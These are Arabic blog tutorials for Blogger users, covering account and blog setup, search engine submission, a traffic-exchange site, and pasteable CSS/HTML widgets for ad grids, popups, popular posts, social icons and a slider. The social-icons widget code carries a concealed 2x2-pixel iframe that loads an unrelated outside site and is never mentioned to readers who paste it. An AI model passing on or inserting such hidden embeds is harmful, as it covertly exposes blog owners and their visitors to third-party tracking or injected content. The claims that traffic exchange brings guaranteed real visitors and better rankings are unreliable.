إظهار الرسائل ذات التسميات دروس بلوجر. إظهار كافة الرسائل
إظهار الرسائل ذات التسميات دروس بلوجر. إظهار كافة الرسائل
في الاونة الاخيرة انتشرت بين الاجيال الصاعدة انشاء مدونات ومواقع خاصة
وبالاخص على منصة بلوجر والتي تقدم مساحة ونطاق فرعي مجانا
كما اصبح هادا الجيل من الشباب يكتب ويدون بكل حرية ويقدم ما لديه من خبرة ومعلومة
ولكن قبل التفكير في التدوين لا بد ان يهيء وينشئ مدونة بقالب جميل ويحبه كل من يزور المدونة
وللمبتدئن في منصة بلوجر هدا شرح عن انشاء مدونة وايضا قالب جميل وصديق لمحركات البحت
ولا ننسى الارشفة فهي اهم شيء لكل موقع او مدونة على الشبكة
وهنا قسم خاص بالارشفة سيو seo
بعد ان قمنا بانشاء مدونة وتركيب القالب ما الدي سنحتاجه لنميز مدونتنا عن المدونات الاخرى ونعطيها بصمتها الخاصة
طبعا الشعار.. لكل مدونة شعارها الخاص
وهنا نحتاج الى مصمم محترف حتى يصمم لنا شعار مميز ويصلح لشهرة والبروز على الشبكة العنكبوتية
لكن لا عليكم اتيتم بموقع يصمم لكم شعار بالمجان وباحترافية وبدون تسجيل
تفضل رابط الموقع
الموقع شهل التعامل ولا اظن انه يحتاج الى شرح
اي شرح او استفسار نرجو وضعه في ردكم على اجيال ونحن في الخدمة
السلام عليكم ورحمة الله وبركاته
متتبعي وزوار شبكة اجيال السلام اهلا ومرحبا بكم معنا في هدا الموضوع
والدي سنتطرق فيه الى اداة واضافة خاصية التبادل الاعلاني النصي بشكلها الجداب
المميز بما ان اغلب المدونات تتبادل الاعلانات لكسب باك لنكس من خلال المدونات الصديقة
ولهدا ارتأينا ان نضع لكم هده الاداة
وهي سهلة في التركيب والتعامل معها
صورة الاداة
كود الاداة
<style type='text/css'>
#navlist {
margin: 0px auto 0px auto;
padding: 0px;
list-style-type: none;
float: center;
display: block;
}
#navlist a {
font-family: "DroidKufi-Regular";
-webkit-border-radius: 30px;
-moz-border-radius: 30px;
border-radius: 30px;
background-color:#02A407;
border: 1px solid #1B5522;
font-size: 10pt;
text-decoration: none;
color: #fff;
display: block;
text-align: center;
line-height: 30px;
padding-right: 0px;
margin-right: 0px;
}
#navlist a:hover {
font-family: "DroidKufi-Regular";
-webkit-border-radius: 50px;
-moz-border-radius: 50px;
border-radius: 50px;
background-color:#4992FF;
border:1px solid #4700FF;
font-size: 12pt;
text-decoration: none;
color: #000000;
display: block;
text-align: center;
line-height: 30px;
padding-right: 0px;
margin-right: 0px;
}
</style>
<ul id='navlist'>
<table align='center' width='100 %'>
<tr>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='http://ajyal-s.blogspot.com/' target='_blank'>شبكة اجيال السلام</a>
</td>
<td align='center' width='25%'>
<a href='' target='_blank'>أعلن هنا</a>
</td>
</tr></table>
<table align='center' width='100%'>
<tr>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td></tr>
<table align='center' width='100%'>
<tr>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td></tr>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
</table>
<table align='center' width='100%'>
<tr>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td></tr>
<table align='center' width='100%'>
<tr>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td>
<td align='center' width='25%'>
<a href='/' target='_blank'>إعلانك هنا</a>
</td></tr>
</table></table></table></ul>
<div class='clear'></div>
ولتنصيق الوان الاداة قم بتغير الاكواة الملونة باكواد اللون الدي تريد من هـــــــــنــــــــــا
طريقة تركيب الاداة تابع الموضوع اسفله شرح بالصور
كيفية تركيب اداة جديدة في قالب مدونة بلوغر blogger
سلام تام الى كل الاحبة الكرام
متتبعي ورزوار شبكة اجيال السلام
مرحبا بكم معنا في هدا الدرس والدي سنقدم لكم فيه مجموعة مهمة من روابط لمحركات البحت
وادوات مشرفي المواقع وبعد الادلة العربية والعالمية
لاشهار مدونتك او موقعك والحصول على ارشفة جيدة وكدالك كسب باك لنكس
لتخفيض ترتبك في موقع اليكسا وكدالك ظهور في الصفحة الاولى لمحرك البحت العالمي جوجل
وبعد المحركات الاخرى متل ياهو وبنج وغيرها..
وان شاء الله لن تجد صعوبة في تسجيل موقعك في محركات البحت لاننا سنقدم لكم
روابط التسجيل المباشر وشرح بالصور
اولا تسجيل موقعك في أدوات مشرفي المواقع
اضغط هنا لتسجيل موقعك مباشرة
ما عليك الا ان تضع رابط موقعك وكتابة ارقام الكباتشا
كما في الصورة تم اضغط على ارسال الطلب
اضف موقعك الى محرك البحت بنج Bing
تسجيل في محرك البحت Bing
محرك البحت ياهو قم بتسجيل حساب جديد ان لم يكن لديك حساب مسبقا ياهو
تم سجل موقعك عليه
فيصل هو موقع يرسل رابط موقعك الى 21 محرك بحت وسهل
ما عليك الا ان تضع رابط موقعك بدون تسجيل
رابط موقع فيصل
تابع الشرح كما في الصورة
لاضافة مدونتك في دليل ارب سغات arabsgate
الدخول الى الموقعarabsgate
تابع الشرح كما في الصورة
دليل شبكة حائل
رابط الموقع حائل
صورة توضيحية
الدليل الاسلامي
ربط الموقع
صورة توضيحية
املاء الخنات كما في الصورة تم اضغط على add link
-دليل المواقع العربية
رابط الموقع لتسجل
لا تحتاج الى شرح ضع في الخانة ما يناسبها تم اضافة
والى هنا انهي موضوعي هدا والى موضوع اخر وشرح اخر..
السلام عليكم ورحمة الله وبركاته
هدا الدرس ان شاء الله سنتطرق فيه الى اداة واضافة جميلة للمدونة
وهي رسالة ترحيبية للمدونة او موضوع ما
وسنقوم بالشرح لكلى الحالتين
كما يمكنك ايضا استعمالها في شتى الخدمات كرسالة تحديرية لموضوع في المدونة
متلا موضوع خاص بالرجال او خاص بالنساء ...وو...الخ)
انت ادرى بما ستستعملها..
على كل حال هده صورة من الاداة
ولعملها كرسالة ترحيبية على المدونة ككل
اي عند دخول اي زائر للمدونة تفتح له هده الرسالة
قم بتسجيل الدخول الى لوحة التحكم >تم تخطيط >تم اداة جديدة >html/javascript..
وقم بنسخ الاكواد التالية ولصقها وحفظ الاداة
وهده طريقة اضافة اداة جديدة للمبتدئين شرح بالصور
كود الاداة او الاضافة
ولعملها في موضوع ما على المدونة
اضغط على HTML تم ضع الكود اعلاء ارجع الى تأليف
وضع الموضع تم انشر الموضوع وبعد دخول زوار لدالك الموضوع
ستاتيهم الرسالة كما اتتك الرسالة عند دخولك هدا الموضوع
هدا الدرس ان شاء الله سنتطرق فيه الى اداة واضافة جميلة للمدونة
وهي رسالة ترحيبية للمدونة او موضوع ما
وسنقوم بالشرح لكلى الحالتين
كما يمكنك ايضا استعمالها في شتى الخدمات كرسالة تحديرية لموضوع في المدونة
متلا موضوع خاص بالرجال او خاص بالنساء ...وو...الخ)
انت ادرى بما ستستعملها..
على كل حال هده صورة من الاداة
اي عند دخول اي زائر للمدونة تفتح له هده الرسالة
قم بتسجيل الدخول الى لوحة التحكم >تم تخطيط >تم اداة جديدة >html/javascript..
وقم بنسخ الاكواد التالية ولصقها وحفظ الاداة
وهده طريقة اضافة اداة جديدة للمبتدئين شرح بالصور
كود الاداة او الاضافة
<br /> <head><br /> <meta http-equiv="Content-Language" content="en-us"><br /> </head><br /> <script language=JavaScript> (window.alert("ضع هنا محتوى الرسالة المراض تقديمها لزائر")) </SCRIPT><br /> <p>
Div By <a href="http://ajyal-s.blogspot.com">ajyal-s</a></p>
<br />
ولعملها في موضوع ما على المدونة
اضغط على HTML تم ضع الكود اعلاء ارجع الى تأليف
وضع الموضع تم انشر الموضوع وبعد دخول زوار لدالك الموضوع
ستاتيهم الرسالة كما اتتك الرسالة عند دخولك هدا الموضوع
والى هنا انهي موضوعي هدا والى موضوع وشرح اخر بحول الله..
ابوادم
السلام عليكم ورحمة الله وبركاته
اهلا ومرحبا بكم احبتي واخوتي في الله كما وعدناكم على شرح عمل مدونة بلوجر
من الصفر الى الاحتراف فنحن لا ننسى وعدنا لكم احبتي وهدا الدرس التاني بعدما
شرحنا في درسنا الاول كيفية انشاء حساب جي ميل وها نحن الان سنشرح لكم طريقة التسجيل
نطاق فرعي بلوجر ( دومين ) وانشاء مدونة جديدة على منصة بلوجر
كما سنتكلم في شرحنا القادم عن طريقة رفع القالب وتركيبه على المدونة
سنبدء على بركة الله الشرح بصور ومبسط للمبتدئين في عالم التدوين
وبالاحرى خدمة التي اتاحت للجميع فرصة التدوين والتي قدمتها لنا الشركة العملاقة جوجل
والتي اطلقت عليها اسم بلوجر .
اولا ندخل على الرابط التالي ..
تم نسجل الدخول بالبريد الاكتروني الدي سبق وقمنا بتسجيله
اضغط على الصورة لرئيتها بالحجم الحقيقي
الان ستظهر لنا القائمة الرئيسية لمنصة بلوجر
وفي الجانب الايمن من الصفحة ستجد اضافة مدونة جديدة
اضغط عليها
بعد الضغط عليها تظهر لك هده النافدة
اضغط على الصورة لرئيتها بالحجم الحقيقي
اكتب في الخانة الاولى اسم المدونة
وفي الخانة التانية اسم النطاق لكن بدون كتابة بلوج سبوت blogspot اكتب فقط الاسم الاول
كما في الصورة وان وجدت النطاق مسجل من قبل اعد كتابة نطاق اخر..
وتم اضغط على انشاء مدونة اسفل الصفحة
وبعدها ستظهر لك قائمة المدونات كما هو موضح في الصورة
اضغط على الصورة لرئيتها بالحجم الحقيقي
الان تم الانشاء بنجاح
تابع الشرح كما في الصورة لدخول الى اعدادات المدونة بضغط على اسمها
ولعرض المدونة يمكنك ان تسجل الدخول بالرابط الدي انشئته او عبر الضغط على ايقونة عرض المدونة
وهده هي قائمات الاعددات للمدونة
ستحتاجها من بعد..
كما نقول هدا هو العمود السحري لمنصة بلوجر ستحتاجه في جميع
اعدادات المدونة وسنتطرق لها لا حقا في درس اخر بحول الله
والى هنا انهي درسي هدا والى درس وشرح اخر..
اهلا ومرحبا بكم احبتي في الله
المشاركات الشائعة او المواضيع الاكتر مشاهدة
هي من اهم الاضفات في مدونة بلوجر
هده الاداة موجودة في كل مدونة وهي تساعد الزوار في متابعة اكتر المواضيع نشاط
وايظا تتركم اكر وقت في مدونتك
وها انا دا اتيتكم بهده الاضافة اكتر جمالية ورونق
صورة الاضافة
طريقة تركيب الاضافة
اولا وقبل كل شيء خد نسخة احتياطية للقلب لتفادي المشاكل
ادهب الى ادارة مدونتكم تم> القالب>تحرير html >تم ابحت عن
بضغط على ctrl + f
]]></b:skin>
تم ضع الكود التالي فوقها
#PopularPosts1 ul li a:hover{color:#fff;text-decoration:none}الان احفظ القالب تم ادهب الى تخطيط تم اضف اداة جديدة
#PopularPosts1 ul li a {-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: #333333; display: block; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18px; margin: 0px 40px 0px 0px; min-height: 30px; orphans: 2; padding: 0px; text-align: -webkit-auto; text-decoration: none !important; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;}
#PopularPosts1 ul li .item-thumbnail{float:left;border:0;margin-right:10px;background:transparent;padding:0;width:51px;height:51px}
#PopularPosts1 ul li:first-child:after,
#PopularPosts1 ul li:first-child + li:after,
#PopularPosts1 ul li:first-child + li + li:after,
#PopularPosts1 ul li:first-child + li + li + li:after,
#PopularPosts1 ul li:first-child + li + li + li + li:after,
#PopularPosts1 ul li:first-child + li + li + li + li + li:after,
#PopularPosts1 ul li:first-child + li + li + li + li + li + li:after,
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li:after,
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li + li:after,
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li + li + li:after{position:absolute;top:10px;right:5px;border-radius:50%;border:2px solid #ccc;background:#353535;-webkit-box-shadow:0px 0px 5px #000;-moz-box-shadow: 0px 0px 5px #000;width:30px;height:30px;line-height:1em;text-align:center;font-size:28px;color:#fff}
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li {background:#DF01D7;width:90%}
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li:after{content:"8"}
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li +li{background:#B041FF;width:90%}
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li + li:after{content:"9"}
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li +li +li{background:#F52887;width:90%}
#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li + li + li:after{content:"10"}
#PopularPosts1 ul li:first-child + li + li + li + li +li{background:#7ee3c7;width:90%}
#PopularPosts1 ul li:first-child + li + li + li + li + li:after{content:"6"}
#PopularPosts1 ul li:first-child + li + li + li + li + li +li{background:#f6993d;width:90%}
#PopularPosts1 ul li:first-child + li + li + li + li + li + li:after{content:"7"}
#PopularPosts1 ul li:first-child + li + li + li + li{background:#33c9f7;width:90%}
#PopularPosts1 ul li:first-child + li + li + li + li:after{content:"5"}
#PopularPosts1 ul li:first-child + li + li + li{background:#c7f25f;width:90%}
#PopularPosts1 ul li:first-child + li + li + li:after{content:"4"}
#PopularPosts1 ul li:first-child + li + li{background:#ffde4c;width:90%}
#PopularPosts1 ul li:first-child + li + li:after{content:"3"}
#PopularPosts1 ul li:first-child + li{background:#ff764c; width:90%}
#PopularPosts1 ul li:first-child + li:after{content:"2"}
#PopularPosts1 ul li:first-child{background:#ff4c54 ;width:90%}
#PopularPosts1 ul li:first-child:after{content:"1"}
#PopularPosts1 ul{margin:0;padding:0px 0;list-style-type:none}
#PopularPosts1 ul li{position:relative;margin:6px 0;border-radius:25px 0px 25px 0px;border:2px solid #f7f7f7;-webkit-box-shadow:3px 3px 3px #000;-moz-box-shadow: 3px 3px 3px #000;padding:10px}
وابحت عن المشركات الشائعة اضفها الى مدونك
ان لم تكن اضفتها من قبل
ان كانت عندك لا تضفها فقط اكتفي بالاولى ويتم تعديلها اليا
وهده طريقة اضافة اداة جديدة للمبتدئين
والى هنا انهي شرحي هدا والى شرح اخر واضافة اخرى..
تحية الود والمحبة والاحترام الى كل متتبعينا و زوارنا الكرام
انشأت مدونة او الموقع واخترت قالب جميل وبدئت في التدوين
والان تبحت عن كيفية وطريقة لجلب الزوار الى الموقع واكيد بحت كتيرا وتعبت من البحت
ووجدت مواقع تتكلم عن اعطائك زوار لكنك جربت ولم تجده الى وهم وليس بحقيقة
ويعطونك اكواد لتضعها في موقعك لكنهم هم من استفادو من دالك ولست انت
لكن احبتي ها انا دا اتيتكم بموقع رائع لتبادل الزيارات نعم اخي تبادل الزيارات
لا تقلق اخي سيتم الشرح بالتفصيل وبالصور
فقط تابع معي وستفهم كل شيئ واليوم قبل الغد ستلاحض الفرق..
وايضا هده الخدمة يمكنك ان تستعملها لمقطع فيديو على اليتيوب وكدالك صفحتكم على الفيس بوك
كما يمكنك ان تستعمل هده الخدمة في عدت مواقع اردت رفع عدد المشاهدات
اولا اضغط على الرابط اسفله لدخول الى الموقع
هده هي واجهة الموقع
قم بادخال البريد الالكترونى واسم الدخول والرقم السري
تم اضغط على SIGN UP
.وستتوصل برسلة في البريد الاكتروني
اضغط على رابط التفعيل
وستظهر لك هده النافدة كما في الصورة
الان تم التفعيل بنجاح
قم بضغط على log in لتسجيل الدخول
او اضغط على الرابط
هده هي صفحة الدخول
قم بادخال الاميل والرقم السري الدي سبق وتسجلتم بهم
وهده الصفحة الرئيسية بعد تسجيل الدخول
اضغط على my websites
لتظهر لك هده القائمة
الان اضغط على + لتضيف رابط الموقع
هكدا تماما كما في الصورة
الان ضع الرابط الدي تريد جلب الزوار له
يمكنك ان تضع اي رابط اخر غير رابط مقعك متال يمكنك ان تضيف
رابط يتيوب او رابط صفحتكم على فيس بوك
او رابط احد المواضيع في موقعك او قسم معين تريد ان يزوره اكبر عدد من الزوار
وكما دكرت سابقا فالزوار حقيقيون وليس بوهم اي كما انت ترى المواقع تمر في النا فدة على الصورة اسفله
كما هم ايضا يرو موقعك وهده العملية تسمى بتبادل الزيارات
بعدما تضع الروابط يمكنك ان تحدد عدد التواني التي تريد ان يبقى الزائر في موقعكم
بعدها اضغط على traffic exchange
بعدها ستظهر لكم هده النافدة اضغط على
start traffic exchange
وتاتيك النافدة المهمة والاخيرة
انظر معي الصورة
النافدة التي تظهر لك هي التي تكلمنا عليها سابقا
فهي التي تبين لك المواقع تمر كل بضع تواني وهده المواقع هي التي انت تتبادل معها الزيارات
اترك تلك النافدة مفتوحة اكتر قدر مستطاع كلما تركتها اكتر كلما حصلت على زوار اكتر قد
يصل العدد الى الف زائر في اليوم او اكتر ان تركت النافدة مفتوحة
وهده الطريقة مجربة ومضمونة من قبل العديد من الاشخاص
فانصحكم بها لتخفيض ترتيبكم في الكسا وكسب بيج رانك من جوجل ايضا
وكما يساعدك دالك على ارشفة قوية وفورية
والى هنا انهي موضوعي هدا والى موضوع اخر وشرح اخر
ارجواخوتي ان لا تبخلوعلينا بتفاعلكم في الموضوع والشبكة ككل فردودكم هي من تشجعنا على جلب الكتير من
المواضيع ووضع اكتر قدر من الشروحات..
اي استفسار نحن رهن الاشارة..
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
اخواني اخواتي متتبعي وزوار شبكة اجيال السلام اهلا ومرحبا بكم معنا في هدا الموضوع
الاول من سلسلة انشاء مودونة بلوجر من الصفر الى ان تأخد مكنتها بين المدونات والمواقع.
ودرسنا هدا ان شاء الله سنبدء بكيفية التسجيل في جوجل وانشاء بريد الكتروني جي ميل..
كما سنتكلم في الدروس القادمة عن :
2-كيفية انشاء مدونة بلوجر
3-كيفية رفع قالب مدونة وتركيبه على مدونة بلوجر
4-طريقة انشاء اقسام للمدونة
5-طريقة اضافة اداة للمدونة
6-طريقة وضع تدوينة جديدة او موضوع جديد..
7-طريقة تسجيل المدونة في مشرفي المواقع واهميتها..
8-طريقة اشهار المدونة وكسب باك لينكس
والان نبدء الشرح لتسجيل بريد الكتروني جديد لدى جوجل
الشركة العالمية والتي تقدم لنا العديد من الخدمات بالمجان
ومن بينها خدمة البريد الالكتروني جي ميل ومدونة بلوجر وهي احسن مدونة مجانية على الاطلاق
لانها تتميز بنطاق فرعي دات بيج رانك عالي وخفة في الاداء
لانها مرفوعة على خادوم ( سرفور) فائق السرعة واداء مميز
على العموم ندخل في الموضوع...
اولا سندخل على هدا الرابط لننشئ البريد الاكتروني (الاميل )
تم ستظهر لنا هده النافدة كما هو موضح في الصورة
اضغط على creer un compote
اضغط على creer un compote
اضغط على الصورة لتضهر لك بحجمها الحقيقي
اتبع الشرح ..
تم ضع رقم الهاتف مع الحرص ان يكون صحيح
وفي الجانب ضع الدولة واختر رسالة احسن من الاتصال
انظر الصورة
ضعه في الخانة تم كونتني
الان وصلنا الى نهاية درسنا والى درس اخر من هده السلسلة
يتبع..
اخواني اخواتي الكرام
لقد دخلت الى احصائيات شبكة اجيال السلام وتفاجئت بزيارات كتيرة
من بلدان اجنبية وعربية ومتصفحات اعرف منها الى القليل واتارتني الحيرة والدهول هل شبكتنا تظهر في هده المتصفحات
بشكل جيد ام لا .
ولهدا اردت ان ارى موقعي في هده المتصفحات كلها لكن هل يمكنني ان احمل كل هدا الكم الهائل من المتصفحات
وانصبهم على جهازي الكمبيوتر لافحص موقعي..!!
طبعا لا يمكنني دالك لان بعد المتصفحات لا تشتغل على النسخة التي انا منصب على جهازي..!!
هل انصب نسخ اخرى هدا شيء شبه مستحيل..؟؟
ادن لا بد ان اجد طريقة لافحص موقعي وهكدا بدئت ابحت عن البديل ووجدت موقع رائع يمكنك ان ترى موقعك
على كتير من المتصفحات وكتير من الاجهزة وايضا كتير من الانظمة
المهم هو ان ترى موقعك وتتصفحه كما يتصفحه زوارك الكرام لتحافض عليهم وتوفر لهم منتوج جيد
هدا هو رابط الموقع
طريقة سهلة ومجربة تابع معي الشرح
بعد الدخول الى الموقع من الرابط اعلاه ضع رابط مدونتك او موقعك في الخانة كما هو مبين لك في الصورة
واضغط على submit
وانتظر قليلا من الوقت وستظهر لك النتائج وهي عبارة عن صور مصغرة
واسماء المتصفحات والانظمة كما هو موضح في الصورة اسفله هده بعد المقتطفات من شبكتنا الكريمة
وايظا يمكنك ان تحمل النتيجة وتحتفظ بها ان اردت دالك..
والى هنا انتهي من شرحي هدا والى شرح اخر ..
كما نرجو الاشراك في الموقع عبر البريد الاكتونى وانضمام الى اعضاء الشبكة
لكي يصلك جديد الموقع..
اعزائي الكرام زوار ومتتبعي شبكتنا الكرام
مسائكم سعيد
الكل يريد ان يضع ايقونات المواقع الاجتماعية في موقعه وهي الان لا تخلو اي موقع من المواقع
على الشبكة العنكبوتية
ولهدا اتيتكم بايقونات عائمة ومنزلقة في جانب القالب لمدونة بلوجر بشكل جداب غاية في الجمال
وهي معمولة بتقنية css
وهده صورة من الاضافة
وهدا متال مباشر للاضافة
كود الاضافة
<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://ajyal-s.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
list-style: none;
margin: 0;
padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
left: 0;
margin-top: -75px; /* (li * a:width) / -2 */
position: fixed;
top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
background: #121212;
color: #fff;
display: block;
height: 50px;
font-size: 18px;
line-height: 50px;
position: relative;
text-align: center;
width: 50px;
}
#social-sidebar ul li a:hover span {
left: 130%;
opacity: 1;
}
#social-sidebar ul li a span {
border-radius: 3px;
line-height: 24px;
left: -100%;
margin-top: -16px;
-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
padding: 4px 8px;
position: absolute;
-webkit-transition: opacity .3s, left .4s;
-moz-transition: opacity .3s, left .4s;
-ms-transition: opacity .3s, left .4s;
-o-transition: opacity .3s, left .4s;
transition: opacity .3s, left .4s;
top: 50%;
z-index: -1;
}
#social-sidebar ul li a span:before {
content: "";
display: block;
height: 8px;
left: -4px;
margin-top: -4px;
position: absolute;
top: 50%;
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
transform: rotate(45deg);
width: 8px;
z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
<ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
<a class="entypo-gplus" href="https://plus.google.com/" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
<a class="entypo-facebook" href="https://www.facebook.com/" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
<a class="entypo-rss" href="http://feeds.feedburner.com/" rel="nofollow" target="_blank">
<span>feedburner</span>
</a>
</li>
</ul>
</div>
طريقة التركيب
ادخل الى اعددات المدونة تم تخطيط تم اضافة اداة جديدة
واخيرا انسخ الكود والصقة فيها مع تغير الروابط التي باللون الازرق الى ما يناسب
وهدا شرح بالصور
ردودكم تهمنا ادن فلا تبخل بردك لنا حتى نستمر..
السلام عليكم ورحمة الله وبركاته
احبائي الكرام اهلا وسهلا بكم معنا في هدا الموضوع
وهو تلبية طلب احد الاصدقاء.
وان شاء الله سيروق جميع الادواق
اليكم صورة السلايدر واظن بانكم تعرفونه
كود السلايدر
<style type="text/css">
#mcis {
display: none;
}
#sliderFrame {
position: relative;
width: 660px;
margin: 0 auto;
border:5px solid #000;
border-bottom:25px solid #000;
background:#fff;
border-radius:0 0 5px 5px;-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;
margin-bottom:5px;
}
#slider img {
position: absolute;
border: none;
display: none;
}
#slider {
width: 660px;
height: 200px;
background: #fff url(http://i78.servimg.com/u/f78/17/70/27/78/abdo10.png) no-repeat 50% 50%;
position: relative;
margin: 0 auto;
box-shadow: 0px 1px 5px #999999;
}
#slider a.imgLink {
z-index: 2;
display: none;
position: absolute;
top: 0px;
left: 0px;
border: 0;
padding: 0;
margin: 0;
width: 100%;
height: 100%;
}
div.mc-caption-bg, div.mc-caption-bg2 {
position: absolute;
width: 100%;
height: auto;
padding: 0;
left: 0px;
bottom: 0px;
z-index: 3;
overflow: hidden;
font-size: 0;
}
div.mc-caption-bg {
background-color: black;
}
div.mc-caption {
font: bold 14px/20px Arial;
color: #EEE;
z-index: 4;
padding: 10px 0;
text-align: center;
}
div.mc-caption a {
color: #FB0;
}
div.mc-caption a:hover {
color: #DA0;
}
div.navBulletsWrapper {
top:207px;
background: none;
position: relative;
z-index: 5;
cursor: pointer;
}
div.navBulletsWrapper div {
width: 11px;
height: 11px;
background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaf-5uVRJw8_zdgYw0N22-qoGVvMZ2MwT_FTGIv8DJmzolyCIxsFAYXt0bZBVBXiFYRmFxSRQTrXlFmXc0_hs5inXKlNou_MvsURpKBMZLQHbNV293SWbw-0ja104zLuRDRaxY2ap0xPQ/s22/cnmu-sliddot.png) no-repeat 0 0;
float: left;
overflow: hidden;
vertical-align: middle;
cursor: pointer;
margin-right: 11px;
_position: relative;
}
div.navBulletsWrapper div.active {
background-position: 0 -11px;
}
#slider {
transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
-moz-transform: translate3d(0,0,0);
-o-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
}
</style>
<script src="https://cnmu.googlecode.com/svn/trunk/cnmuslid.js" type="text/javascript"></script>
<div id="sliderFrame">
<div id="slider">
<a href="http://ajyal-s.blogspot.com/"><img src="http://i78.servimg.com/u/f78/17/70/27/78/abdo10.png" alt="مرحبا بكم في شبكة اجيال السلام"/></a>
<a href="http://ajyal-s.blogspot.com/2013/06/blog-post_6.html"><img src="http://i78.servimg.com/u/f78/17/70/27/78/ou10.png" alt="تحميل الصور مجانا "/></a>
<a href="http://ajyal-s.blogspot.com/2013/05/blogger.html"><img src="http://i78.servimg.com/u/f78/17/70/27/78/az10.png" alt="اضافات للبلوغر bloggerحصريا على اجيال السلام "/></a>
<a href="http://ajyal-s.blogspot.com/2013/06/FastStone-Capture.html"><img src="https://lh3.googleusercontent.com/-oa3-OtPnQYw/UbRd_BFCy6I/AAAAAAAAAfo/fqW5KkqBFIc/s660/FastStone%2520Capture.png" alt="تحميل برنامج تصوير الشاشة لسطح المكتب والمواقع FastStone Capture "/></a>
</div></div>
طريقة تركيب السلايدر سهلة جدا فقط ما عليك الا ان تضيف اداة جديدة
وتضع فيها الكود اعلاه مع مراعات تغير ما باللون الاصفر بـ عنوان الموضوع
وما باللون الاخضر بـ رابط الموضوع وتعويض وما باللون الازرق برابط الصورة
بشرط ان تكون الصورة بالمقايس التالية 660 / 200 بكسل
وان اردت تغير حجم السلايدر يمكنك ان تغير الارقام التي بالاحمر بما يناسب
مدونتك
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
اخواني اخواتي زوار ومتتبعي شبكتنا الكرام
اليوم بادن الواحد الاحد ساشرح لكم طريقة اخد نسخة احتياطية من قالب مدونة بلوجر
شرح مبسط وبالصور
وايضا في نفس الموضوع ساتكلم عن كيفية رفع القالب وتركيبه على المدونة
تابعو معي الصوروالشرح الممل
اول شيء ادخل الى ادارة مدونتك بلوجر من هنا
بلوجر blogger
ستظهر لك قاتمة مدوناتك اختر المدونة التي تريد ان تاخد نسخة منها
واضغط على السهم كما في الصورة
